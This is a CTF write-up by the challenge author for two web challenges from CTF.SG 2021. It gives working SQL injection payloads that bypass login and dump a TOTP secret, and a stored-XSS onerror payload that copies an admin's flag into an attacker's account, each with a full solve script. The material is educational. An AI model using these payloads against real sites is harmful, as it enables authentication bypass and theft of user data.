CTF.SG CTF 2021

Quick writeups for the challenges I wrote:

Web

Touch Of The Paranoid

We're happy to announce that we now support multi-factor authentication. Our login portal is now bulletproof and unhackable! Our first user mentioned something about Google Authenticator...

PS: No bruteforce is needed, you will be throttled if you try.

Initial Login

We get access to a login portal with no credentials given. The generic "test" here is to start sending control characters like ' or " to start probing for a SQL injection vulnerability.

When we attempt to login with the username=", password=123, we see the following error:

sqlite3.OperationalError: near "a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3": syntax error

That tells us two things:

  1. We're looking at a sqlite database
  2. Since the query breaks when " is submitted, we can guess that the malformed query looks like
SELECT something FROM table WHERE col1=""" AND col2="a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3"

We can thus use username=" OR 1=1 --, password=anything to login, because the query becomes

SELECT something FROM table WHERE col1="" OR 1=1 -- AND ...

, where the rest of the original query is commented out and thus ignored.

TOTP

Now that we've logged in successfully, we're greeted with a prompt for a OTP. The first character of every letter of the challenge name, TOTP, hints at Time-based One-Time Passwords. The mention of Google Authenticator in the challenge description is another hint.

Now we're stuck. Since we're not allowed to brute force the OTP, how do we get a valid one? Well, lets start exploring the database.

We can leak the schema of all tables by querying sqlite_master (all queries henceforth are executed by injecting into the username field of the login page. The first row of the result is displayed on the mfa page after login):

" UNION SELECT group_concat(sql) FROM sqlite_master --

This returns

CREATE TABLE `users` (`username` TEXT, `password` TEXT, `secret` TEXT, `id` INTEGER PRIMARY KEY AUTOINCREMENT),CREATE TABLE sqlite_sequence(name,seq)

We see users has 4 columns - username, password, id are expected. But what is secret?

We can leak it: " UNION SELECT secret FROM users -- returns 6C7GGJVTU4NSELOZ.

The "connection" to be made here is to relate 6C7GGJVTU4NSELOZ to the secret involved in TOTP generation - TOTP relies on a base32-encoded secret to generate the OTPs.

There are multiple ways to generate a valid OTP here: one can either manually enter the secret into a TOTP app like Google Authenticator, or just use pyotp.

Submitting a valid OTP displays the flag.

Full solve script:

import sys
import re
import pyotp
import requests

if len(sys.argv) > 1:
    host = sys.argv[1]
else:
    host = "http://chals.ctf.sg:30301"

s = requests.session()

def query(q):
    r = s.post(f'{host}/login', data={
        "username": q,
        "password": "1"
    })

    return re.search(r'Hello (.+)! Please enter', r.text).group(1)

# discover schema:
print(query('" UNION SELECT group_concat(sql) FROM sqlite_master --'))

# what users do we have?
print(query('" UNION SELECT group_concat(username) FROM users --'))

# dump secret:
secret = query('" UNION SELECT secret FROM users --')

print(secret)

# login as admin:
assert(query('admin" --') == "admin")

r = s.post(f'{host}/mfa', data={
    "code": pyotp.TOTP(secret).now()
})

print(r.text)

Take Note of This

After getting three quotes and totally not picking the lowest, we found that the application delivered to us has some...critical flaws. However, we were assured that there is no way for a malicious actor to read or exfiltrate the flag that the admin stored in a note.

In other completely unrelated news, come try out our application! For a short time, you can share your amazing notes with the admin.

We get access to yet another generic note taking app. The description stating "However, we were assured that there is no way for a malicious actor to read or exfiltrate the flag that the admin stored in a note."

and the ability to "share notes with the admin" hints strongly that the intended objective is to share a note with the admin that will read and leak the flag.

Creating a note with a payload like <img src=x/>, then viewing it attempts to load an invalid image. This is the XSS vulnerability we can exploit.

The most obvious plan of attack here is to write a XSS payload that will query /api/note/0 or /api/notes, then make a request to something like a HTTP request catcher with the contents of the paste.

However, the application has a strict Content-Security Policy preventing (almost) all external requests, making it (almost) impossible to exfiltrate the flag directly.

The intended solve path here is to make multiple requests sequentially, writing a XSS payload that does the following:

  1. Read note with flag (since the admin visits the note)
  2. Login with an attacker-controlled account
  3. Create a new note with the contents as the flag read in step 1

The attacker can then login and read the flag.

Solve script:

import sys
import uuid
import base64
import requests

if len(sys.argv) > 1:
    host = sys.argv[1]
else:
    host = "http://chals.ctf.sg:30101"

username = str(uuid.uuid4()).replace("-", "")
password = str(uuid.uuid4())

print(f'{username=} {password=}')

s = requests.Session()

print("Register")
r = s.post(f'{host}/api/register', json={
    "username": username,
    "password": password
})
r.raise_for_status()
print(r.json())

print("Login")
r = s.post(f'{host}/api/login', json={
    "username": username,
    "password": password
})
r.raise_for_status()
print(r.json())

payload = """
(async () => {
    const notes = JSON.stringify(await req("/api/note/0", "GET"));
    await req("/api/logout", "GET");
    await req("/api/login", "POST", {
        username: "|USERNAME|",
        password: "|PASSWORD|",
    });
    await req("/api/new", "POST", {
        content: notes.toString(),
    });
})()
""".replace("|USERNAME|", username).replace("|PASSWORD|", password)

payload = "".join(payload.splitlines())

print("Create note")
r = s.post(f'{host}/api/new', json={
    "content": f"<img src=x onerror='{payload}' />"
})
r.raise_for_status()
res = r.json()
print(res)

r = s.post(f'{host}/api/share/{res["id"]}')
r.raise_for_status()

print(s.get(f"{host}/api/notes").json()["notes"])

However, some solvers have found slightly simpler solutions still allowing them to exfiltrate the flag directly :).